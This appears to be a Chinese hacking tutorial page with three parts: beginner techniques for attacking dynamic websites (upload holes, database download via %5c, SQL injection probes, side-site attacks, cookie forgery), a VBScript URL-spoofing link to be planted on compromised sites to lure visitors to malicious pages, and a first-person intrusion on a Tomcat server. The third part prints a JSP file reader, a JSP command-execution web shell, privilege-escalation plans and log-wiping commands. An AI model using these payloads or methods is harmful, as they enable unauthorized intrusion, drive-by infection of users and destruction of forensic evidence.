網站***基本知識

一、網站***基本知識
首先介紹下什麼樣的站點可以***:必須是動態的網站,比如asp、php、jsp 這種形式的站點。後綴爲.htm的站點勸大家還是不要***了吧(***機率幾乎爲0)。
***介紹: 1 上傳漏洞;2 暴庫;3 注入;4 旁註;5 COOKIE詐騙。
1 上傳漏洞,這個漏洞在DVBBS6.0時代被***們利用的最爲猖獗,利用上傳漏洞可以直接得到WEBSHELL,危害等級超級高,現在的***中上傳漏洞也 是常見的漏洞。
怎樣利用:在網站的地址欄中網址後加上/upfile.asp如果顯示 上傳格式不正確[重新上傳] 這樣的字樣8成就是有長傳漏洞了找個可以上傳的工具直接可以得到WEBSHELL。
工具介紹:上傳工具,老兵的上傳工具、DOMAIN3.5,這兩個軟件都可以達到上傳的目的,用NC也可以提交。
WEBSHELL是什麼:WEBSHELL在上節課簡單的介紹了下,許多人都不理解,這裏就詳細講下,其實WEBSHELL並不什麼深奧的東西,是個 WEB的權限,可以管理WEB,修改主頁內容等權限,但是並沒有什麼特別高的權限,(這個看管理員的設置了)一般修改別人主頁大多都需要這個權限,接觸過 WEB***的朋友可能知道(比如老兵的站長助手就是WEB*** 海陽2006也是 WEB***)我們上傳漏洞最終傳的就是這個東西,有時碰到權限設置不好的服務器可以通過WEBSHELL得到最高權限。
2 暴庫:這個漏洞現在很少見了,但是還有許多站點有這個漏洞可以利用,暴庫就是提交字符得到數據庫文件,得到了數據庫文件我們就直接有了站點的前臺或者後臺 的權限了。
暴庫方法:比如一個站的地址爲 http://www.xxx.com/dispbbs.asp?boardID=7&ID=161, 我門就可以把com/dispbbs中間的/換成%5c,如果有漏洞直接得到數據庫的絕對路徑,用尋雷什麼的下載下來就可以了。還有種方法就是利用默認的 數據庫路徑http://www.xxx.com/後 面加上conn.asp。如果沒有修改默認的數據庫路徑也可以得到數據庫的路徑(注意:這裏的/也要換成%5c)。
爲什麼換成%5c:因爲在ASCII碼裏/等於%5c,有時碰到數據庫名字爲/#abc.mdb的爲什麼下不了? 這裏需要把#號換成%23就可以下載了,爲什麼我暴出的數據庫文件是以。ASP結尾的?我該怎麼辦?這裏可以在下載時把.ASP換成.MDB 這樣就可以下載瞭如果還下載不了可能作了防下載。
3 注入漏洞:這個漏洞是現在應用最廣泛,殺傷力也很大的漏洞,可以說微軟的官方網站也存在着注入漏洞。注入漏洞是因爲字符過濾不嚴禁所造成的,可以得到管理 員的帳號密碼等相關資料。
怎樣利用:我先介紹下怎樣找漏洞比如這個網址 http://www.xxx.com/dispbbs.asp?boardID=7&ID=161 後面是以ID=數字形式結尾的站我們可以手動在後面加上個 and 1=1 看看 如果顯示正常頁面 再加上個and 1=2 來看看 如果返回正常頁面說明沒有漏洞 如果返回錯誤頁面說明存在注入漏洞。如果加and 1=1 返回錯誤頁面說明也沒有漏洞,知道了站點有沒有漏洞我門就可以利用了 可以手工來猜解也可以用工具現在工具比較多(NBSI NDSI 啊D DOMAIN等)都可以用來猜解帳號密碼,因爲是菜鳥接觸,我還是建議大家用工具,手工比較煩瑣。
4 旁註:我們***某站時可能這個站堅固的無懈可擊,我們可以找下和這個站同一服務器的站點,然後在利用這個站點用提權,嗅探等方法來***我們要***的站點。 打個形象的比喻,比如你和我一個樓,我家很安全,而你家呢,卻漏洞百出,現在有個賊想***我家,他對我家做了監視(也就是掃描)發現沒有什麼可以利用的東 西,那麼這個賊發現你家和我家一個樓,你家很容易就進去了,他可以先進入你家,然後通過你家得到整個樓的鑰匙(系統權限),這樣就自然得到我的鑰匙了,就 可以進入我的家(網站)。
工具介紹:還是名小子的DOMIAN3.5不錯的東西,可以檢測注入,可以旁註,還可以上傳!
5 COOKIE詐騙:許多人不知道什麼是COOKIE,COOKIE是你上網時由網站所爲你發送的值記錄了你的一些資料,比如IP,姓名什麼的。
怎樣詐騙呢?如果我們現在已經知道了XX站管理員的站號和MD5密碼了,但是破解不出來密碼(MD5是加密後的一個32位的密碼)我們就可以用 COOKIE詐騙來實現,把自己的ID修改成管理員的,MD5密碼也修改成他的,有工具可以修改COOKIE 這樣就答到了COOKIE詐騙的目的,系統以爲你就是管理員了。

二、域名欺騙技術實現過程
網頁***種植方案一直都存在很大的問題,當然欺騙需要技巧也需要時間,我們現在不需要那麼麻煩的欺騙,本文 就是教大家利用最新瀏覽器漏洞實現域名的欺騙.....
  前言
  域名欺騙有多種實現方法,本文所說的是利用客戶端瀏覽器的漏洞來欺騙用戶。
  多數瀏覽器都會存在這個漏洞,目前暫時還沒相應的補丁。漏洞是這樣的:
當用戶通過瀏覽器訪問一個url,如果這個url是經過以下的格式構造的,那麼瀏覽器實際將訪問經過構造的惡意頁面,而用戶瀏覽器的地址欄裏所顯示的將是 虛假的url:

url的構造格式爲:
[url_1][special_char]@[url_2]/" target=_blank>
[url=http://[url_1][special_char]@[url_2/]http://[url_1][special_char]@[url_2[/url]]
說明:
  url_1爲用戶所看到的地址,地址中不可以帶"/"
special_char爲一個特殊的字符,即ascii碼爲1的字符
url_2爲惡意頁面地址

  利用過程
  首先請看這個測試頁面:
<html>
<head>
<title>域名欺騙技術實例</title>
</head>
<body link="#0000ff" alink="#0000ff" vlink="#0000ff">
你可以看看這兩個鏈接有什麼區別:<br>
<h1>鏈接1:<script language="vbscript" src="deceive.vbs"></script></h1>
<h1>鏈接2:<a href="_blank ?>
www.163.com" target="_blank">http://www.163.com/"; target="_blank" http://ww ... ";>www.163.com</a></h1>
</body>
</html>

  這個網頁源代碼,其中鏈接1指向了一個vbs腳本,而鏈接2指向的是163站點。如果我們把連接一的 vbs腳本改成下列代碼:
''''''''''''''''''''''''''''''''''''''deceive.vbs'''''''''''''''''''''''''''''''''''''''''''''
'(以下請根據實際情況自行修改:)
url1="
http://www.163.com/"
url2="
http://www.google.com/"
text="
http://www.163.com/"
url="_blank ?>
[url=http://]http://";&url1&chr(1[/url])& ... p;url2&""
dn="/"
mouseover="javascript :window.status='_blank ?>
http://";&url1&dn&"'"""
mouseout=" :window.status=''"""
click="javascript :navigate('"&url&"')"""
style="style=""cursor:hand"""
tag="<span "&style&" "&mouseover&" "&mouseout&" "&click&"><font color=""#0000ff""><u>"&text&"</u></font></span>"
document.write tag
'說明:
'url1是用來欺騙用戶的地址.
'url2是實際訪問的地址,可以是網頁***、惡意網頁等.
'text是鏈接的文字.
'注意:(以上欺騙地址及實際地址不可以加"http://")
'''''''''''''''''''''''''''''''''''''''cuts here''''''''''''''''''''''''''''''''''''''''''''''''

  現在大家看到了吧~~當我們點擊這個測試頁面的時候,鏈接1指向的是google.com,而且狀態欄 和地址欄裏都顯示"_blank>http://www.163.com/",鏈 接2卻指向163.com。你也許感到不可思議,但這就是域名欺騙漏洞的魅力。
  我們可以想象,如果以上的測試頁面中的鏈接1指向的不是google.com,而是我們的網頁***,那 就......
  不過,一個普通的個人網站沒人會看的,這就需要我們把這種假鏈接添加到別的大網站的頁面之中。假設我們 ***了一個比較大的網站,比如網易(哇~~~~~~這時候一隻菜鳥推着一車磚頭,看着我......)。這時候就可以把它的頁面給改了。
  比如有一個文字鏈接,我們就可以把代碼中的"<a href="xxxxx.htm">xxxxxx</a>"改爲我們自己的代碼:"<script language="vbscript" src="deceive.vbs"></script>"。看到src屬性裏的deceive.vbs了嗎 ?我們要編輯好這個文件,然後上傳到要修改的頁面目錄下。
  這樣還不行,我們還要把自己的***網頁的界面修改一下。也就是把原來鏈接到的頁面加入到我們自己的*** 網頁,並且我們的***網頁裏的所有鏈接等內容要和原來的頁面一樣,否則就會引起用戶的懷疑。現在,我們把google網站的首頁源代碼全部複製下來,添加 到我們的網頁***。把複製下來的代碼中的圖片或者是鏈接的文件都修改完整,比如logo.gif改爲_blank>/UpLoadFiles /NewsPhoto/comalogo.gif,否則網頁就和原來的不一樣了(圖片顯示爲紅色的×,鏈接也失效),因爲用戶打開的是你的站點,而你的站 點中並沒有logo.gif。都修改好後就可以保存文件了。上傳到你的網頁空間裏。
  至此,我們的工作已經完成。
  當我們進入這個網站後,點擊我們修改過的連接,你會發現和原來的頁面幾乎就一模一樣(當然,也有些細微 的區別,不過一般很難覺察)。就當人家在瀏覽這個網頁的時候,他已經在不知不覺中中了***,而你也開心地笑呢!~呵呵

三、WEB***的過程
很偶然的一個機會,看到了一個網站,頁面清新,很舒服的感覺。網站是用JSP開發的,由於個人愛好,所以我決定看看系統的安全性。
telnet www.target.com 8080
GET /CHINANSL HTTP/1.1
[Enter]
[Enter]
返回的結果如下:
HTTP/1.0 404 Not Found
Date: Sun, 08 Jul 2001 07:49:13 GMT
Servlet-Engine: Tomcat Web Server/3.1 (JSP 1.1; Servlet 2.2; Java 1.2.2; Linux 2
.2.12 i386; java.vendor=Blackdown Java-Linux Team)
Content-Language: en
Content-Type: text/html
Status: 404
<h1>Error: 404</h1>
<h2>Location: /CHINANSL</h2>File Not Found<br>/CHINANSL
我獲得了運行的WEBServer的名稱"Tomcat 3.1"。我記得我曾經發現過這個版本的漏洞,並且post到bugtrap上去過。
大概是:通過".."技術可以退出WEB目錄,於是:
http://target:8080/../../../../%00.jsp (不行)
http://target:8080/file/index.jsp (不行)
http://target:8080/index.JSP (不行)
http://target:8080/index.jsp%81 (不行)
http://target:8080/index.js%70 (不行)
http://target:8080/index.jsp%2581 (不行)
http://target:8080/WEB-INF/ (不行)
嗯,在試試吧!Tomcat 3.1自帶了一個管理工具,可以查看WEB下的目錄及文件,並且可以添加context.試一下:http://target:8080/admin/
管理員果然沒有刪除或禁止訪問這個目錄:-(失誤!!!!!
接着我點"VIEW ALL CONTEXT"按鈕,列出了WEB目錄下的一些文件和目錄的名稱,我開始仔細的看了起來,一小會兒,發現了一個上傳文件的組件,嘿嘿,寫一個jsp文件 弄上去看看。
幾口咖啡的時間,我寫了這麼一個東東出來:
<%@ page import="java.io.*" %>
<%
String file = request.getParameter("file");
String str = "";
FileInputStream fis = null;
DataInputStream dis = null;
try{
fis = new FileInputStream(file);
dis = new DataInputStream(fis);
while(true){
try{
str = dis.readLine();
}catch(Exception e){}
if(str == null)break;
out.print(str+"<br>");
}
}catch(IOException e){}
%>
通過上傳的組件將這個jsp上傳到對方的WEB目錄裏,然後:
http://target:8080/upload/test.jsp?file=/etc/passwd
嘿嘿,密碼出來啦。我只看了"/etc/passwd",並沒有看"/etc/shadow",因爲當時考慮webserver一般使用nobody的身 份啓動的,看了也白看。(失誤)
接下來的過程是無聊的猜測密碼,沒有成功。算了,那我只有將就點,反正現在我相當於有了一個shell了嘛,猜不出密碼上去,那就全當IE是我的 SHELL環境吧!
再寫:
<%@ page import="java.io.*" %>
<%
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%>
然後把這個jsp又通過upload上傳了上去,嘿嘿,我現在有個SHELL了。
http://target:8080/upload/cmd.jsp?cmd=ls+-la+/
(我這裏就不列出來了)
怎麼獲得root呢?經過一番搜索我發現了系統安裝了mysql並且我從jsp的源代碼中得到了mysql的密碼:)看看是什麼權限運行的mysql:
sqld">http://target:8080/upload/cmd.jsp?cmd=ps+aux+|grep+mysqld
顯示:
root 87494 0.2 1.9 17300 4800 p0- S 28Jun01 5:54.72 /usr/local/data/mysql
嘿嘿,有辦法了,系統是以root身份運行的mysql,同時我知道了mysql的密碼,那我現在我可以寫一個shell程序,讓它create一個表, 然後將我的數據放到表中,然後再使用"select ... into outfile;"的辦法在系統上創建一個文件,讓用戶在執行su的時候,運行我的程序。(還記得apache.org有一次被***嗎?hacker就採 用的這種辦法)。
然後,我再上傳bindshell之類的程序,運行、獲得nobody的權限,然後......再使用su root時幫忙創建的setuid shell讓自己成爲root.
嘿嘿,真是好辦法,我都爲我的想法感到得意......
接下去的事情,差點沒讓我吐血:
我敲了一個:http://target:8080/upload/cmd.jsp?cmd=id
顯示:
uid=0(root) gid=0(xxx) groups=0(xxx),2(xxx),3(xxx),4(xxx),5(xxx),20(xxx),31(xxx)
kao,我的這個WEB SHELL本來就是ROOT,真是服了那個管理員,也服了自己。竟然折騰了這麼半天,哎!
http://target:8080/upload/cmd.jsp?cmd=ps+aux
果然是root身份運行的(不列出來了)
剩下來的事情:
1、刪除我的telnet記錄。
2、刪除http的日誌。
至於清除日誌嘛,我使用的辦法是:cat xxx |grep -V "IP" >>temp然後在把temp覆蓋那些被我修改過的日誌文件。
我沒有更換他的頁面,因爲我本身也就不是什麼***啦,更不是紅客,只是個網絡安全愛好者而已。所以,發封郵件告訴system admin吧!
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章